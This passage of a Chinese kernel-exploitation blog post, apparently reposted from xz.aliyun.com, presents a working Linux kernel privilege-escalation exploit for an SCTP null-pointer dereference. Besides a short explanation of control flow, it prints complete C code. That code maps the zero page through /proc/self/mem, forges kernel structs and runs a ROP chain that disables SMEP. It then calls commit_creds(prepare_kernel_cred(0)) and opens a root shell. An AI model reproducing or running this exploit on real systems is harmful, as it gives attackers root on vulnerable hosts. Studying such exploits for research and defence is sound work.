inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}

listen(server_sockfd,5);

if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}

send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}

EXP

通过之前crash的报错可以看到,asoc指针遍历到了一个非法地址0xd4。于是利用思路就是结合前一个0虚拟地址映射漏洞把0xd4mmap下来,然后可以在发生空指针引用的地址上伪造一个指针;接下来的编写exp,其实就是查看的我们结构体内的可控内存,能否找到一个实现任意地址读写的指针。

首先,我们要保证exp不会直接崩掉,就得使sctp_make_abort_user的返回结果不同,使它进到下一个逻辑中(sctp_primitive_ABORT

跟进一下sctp_make_abort_user

这个paylen是我们传进的参数,可以置0让函数正常返回

crash的问题解决了,下面就是找可控指针,于是我们看一下sctp_primitive_ABORT的定义:

primitive.c

是通过内联的方式实现的,重点看我框出来的部分,首先stateep都是asoc的成员变量,都是可控的,然后把它们作为参数调用了sctp_do_sm,继续跟进

这里就可以看到通过state_fn直接进行了函数调用,而state_fn是由netevent_typestatesubtype决定的,其中event_typesubtype是常数,netsctp_sendmsg_check_sflags中的sk取值而来,skasoc的成员,可控,之前我们已经得知了state可控。

所以,所有变量都可控,继续进到sctp_sm_lookup_event函数

这里需要注意的是,在sctp_primitive_ABORT里面就已经设置eventSCTP_EVENT_T_PRIMITIVE

再看DO_LOOKUP

最后,我们的state_fn就是这里的rtn变量,state是可控的,我们可以先打个断点查看&_table[event_subtype._type]的值,再根据偏移找一个索引,使得最后rtn等于一个用户空间的地址,这样就可以mmap下来执行shellcode

当前这个exp只能绕过smep保护

#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>
#include <sys/mman.h>
#include <err.h>
#include <signal.h>

#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118

struct sock
{
char pad1[0x24];
void *net;
char pad[0x278];
int type;
};

struct sctp_association
{
char pad1[0x18];
struct sock *sk;
char pad2[0x34];
char *ep;
char pad3[0x158];
int state;
};

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074b00; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xc10747a0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
asm(
"movl %%cs, %0;"
"movl %%ss, %1;"
"movl %%esp, %2;"
"pushf;"
"popl %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
__asm__ __volatile__(" mov %edx,%esp;");
commit_creds(prepare_kernel_cred(0));
asm(
"pushl %0;"
"pushl %1;"
"pushl %2;"
"pushl %3;"
"pushl $shell;"
"iret;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}

void mmap_zero()
{
save_stat();
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%s\n",(char *)1);

struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;
sctp_ptr->sk = (struct sock *)0x1000;
sctp_ptr->sk->type = 0x2;
sctp_ptr->state = 0x7cb0954; // offset, &_table[event_subtype._type][(int)state] = 0x7760
sctp_ptr->ep = (char *)0x2000;
*(sctp_ptr->ep + 0x8e) = 1;
unsigned long* ptr4 = (unsigned long*)0x7760; // TODO:change it
printf("templine:%p\n", &templine);
// ptr4[0] = (unsigned long)&templine;
ptr4[0] = 0xc101c330; // mov %ebx,%esp; pop %ebx; pop %edi; pop %ebp;
int i = 2;
unsigned long *stack = (unsigned long*)0;

stack[i++] = 0x10;
stack[i++] = 0xc101cee5; // pop %eax; leave; ret;
stack[i++] = 0x6d0;
stack[i++] = 0xc1022c89; // mov %eax,%cr4; pop %ebp; ret;
stack[i++] = 0x1c;
stack[i++] = (unsigned long)&templine;
}

void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;

char *buf = "test";

if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

printf("send data: %s\n",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}

client_out_:
//close(socket_fd);
pthread_exit(0);
}

void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;

rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %s\n",readbuf);
rd_sz = 0;
printf("Start\n");
if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){
perror("SENDALL sendmsg");
}

pthread_exit(0);
}

int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;

if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}

listen(server_sockfd,5);

if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}
mmap_zero();
send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}

特别感谢

lm0963@De1ta

linguopeng@Sixstars

P4nda@Dubhe


知识来源: xz.aliyun.com/t/7625

阅读:19045 | 评论:0 | 标签:linux

想收藏或者和大家分享这篇好文章→复制链接地址

“Linux Kernel Pwn 初探”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云